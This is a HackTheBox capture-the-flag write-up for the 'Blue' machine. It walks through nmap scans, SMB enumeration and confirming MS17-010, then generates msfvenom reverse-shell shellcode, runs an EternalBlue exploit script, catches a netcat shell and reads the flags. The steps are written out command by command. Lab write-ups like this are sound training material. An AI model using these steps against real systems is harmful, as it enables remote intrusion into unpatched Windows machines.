HackTheBox: Blue

I began this machine by running nmap to identify the local services.

# Nmap 7.80 scan initiated Fri Oct 16 13:53:20 2020 as: nmap -oN scan -sV -sC -O -p- 10.10.10.40
Nmap scan report for 10.10.10.40
Host is up (0.042s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/16%OT=135%CT=1%CU=36108%PV=Y%DS=2%DC=I%G=Y%TM=5F89E
OS:43F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%T
OS:S=7)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=
OS:M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2
OS:000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=
OS:Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=
OS:0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -17m27s, deviation: 34m36s, median: 2m30s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-10-16T19:22:06+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-10-16T18:22:07
|_  start_date: 2020-10-16T17:55:35

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 16 14:19:43 2020 -- 1 IP address (1 host up) scanned in 1582.47 seconds

From this output you can see that SMB is running with guest access. As well as a series of MSRPC ports. I used smbclient to connect to the SMB shares but unfortunately there was nothing of interest in them.

ali@kali:~/Documents/blue$ smbclient -L 10.10.10.40
Enter WORKGROUP\kali's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk      
        Users           Disk      
SMB1 disabled -- no workgroup available

kali@kali:~/Documents/blue$ smbclient \\\\10.10.10.40\\Users
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Fri Jul 21 02:56:23 2017
  ..                                 DR        0  Fri Jul 21 02:56:23 2017
  Default                           DHR        0  Tue Jul 14 03:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:54:24 2009
  Public                             DR        0  Tue Apr 12 03:51:29 2011

                8362495 blocks of size 4096. 3879146 blocks available

Based on the machine name being Blue. I thought there was a good chance that it would be vulnerable to the EternalBlue exploit. I used the following Nmap command to determine if it was in fact vulnerable.

nmap --script smb-vuln* -p 445 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 14:55 EDT
Nmap scan report for 10.10.10.40
Host is up (0.014s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 12.43 seconds

As you can see from the output, Blue was vulnerable to EternalBlue.

I then cloned THIS repository which contains the tools to generate the shellcode and exploit remote machines.

git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
Cloning into 'AutoBlue-MS17-010'...
remote: Enumerating objects: 42, done.
remote: Counting objects: 100% (42/42), done.
remote: Compressing objects: 100% (39/39), done.
remote: Total 118 (delta 23), reused 5 (delta 2), pack-reused 76
Receiving objects: 100% (118/118), 107.81 KiB | 649.00 KiB/s, done.
Resolving deltas: 100% (63/63), done.
kali@kali:~/Documents/blue$ cd AutoBlue-MS17-010/
kali@kali:~/Documents/blue/AutoBlue-MS17-010$ ls
eternalblue_exploit10.py  eternalblue_exploit8.py  LICENSE           mysmb.py   requirements.txt  zzz_exploit.py
eternalblue_exploit7.py   eternal_checker.py       listener_prep.sh  README.md  shellcode

I then used shell_prep.sh to generate the shellcode to be sent to the machine:

kali@kali:~/Documents/blue/AutoBlue-MS17-010$ cd shellcode/
kali@kali:~/Documents/blue/AutoBlue-MS17-010/shellcode$ ls
eternalblue_kshellcode_x64.asm  eternalblue_kshellcode_x86.asm  eternalblue_sc_merge.py  shell_prep.sh
kali@kali:~/Documents/blue/AutoBlue-MS17-010/shellcode$ ./shell_prep.sh 
                 _.-;;-._
          '-..-'|   ||   |
          '-..-'|_.-;;-._|
          '-..-'|   ||   |
          '-..-'|_.-''-._|   
Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
Y
LHOST for reverse connection:
10.10.14.32
LPORT you want x64 to listen on:
2600
LPORT you want x86 to listen on:
2600
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...

msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.14.32 LPORT=2600
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (stageless)...

msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.14.32 LPORT=2600
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
DONE

Once this ran, the file sc_all.bin is generated which contains the shellcode needed for this exploit to work.

I then started a netcat listener on port 2600 as was specified when generating the shellcod and executed eternalblue_explort7.py providing the IP address of the Blue machine and the sc_all.bin shellcode file.

python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin 
shellcode size: 2203
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
kali@kali:~/Documents/blue/AutoBlue-MS17-010$ 

This ran successfully and a shell was captured by netcat.

ali@kali:~$ nc -nvlp 2600
listening on [any] 2600 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

From here I was able to browse to both the user and root flags.

C:\Windows\system32>cd /
cd /

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Administrator
14/07/2017  13:45    <DIR>          haris
12/04/2011  07:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,890,030,592 bytes free

C:\Users>cd haris
cd haris

C:\Users\haris>cd Desktop
cd Desktop

C:\Users\haris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris\Desktop

24/12/2017  02:23    <DIR>          .
24/12/2017  02:23    <DIR>          ..
21/07/2017  06:54                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,891,079,168 bytes free

C:\Users\haris\Desktop>more user.txt
more user.txt
[REDACTED]

C:\Users\haris\Desktop>cd ..
cd ..

C:\Users\haris>cd ..
cd ..

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Administrator
14/07/2017  13:45    <DIR>          haris
12/04/2011  07:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,898,038,272 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\Administrator\Desktop

24/12/2017  02:22    <DIR>          .
24/12/2017  02:22    <DIR>          ..
21/07/2017  06:57                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,898,038,272 bytes free

C:\Users\Administrator\Desktop>more root.txt
more root.txt
[REDACTED]

C:\Users\Administrator\Desktop>

 

 

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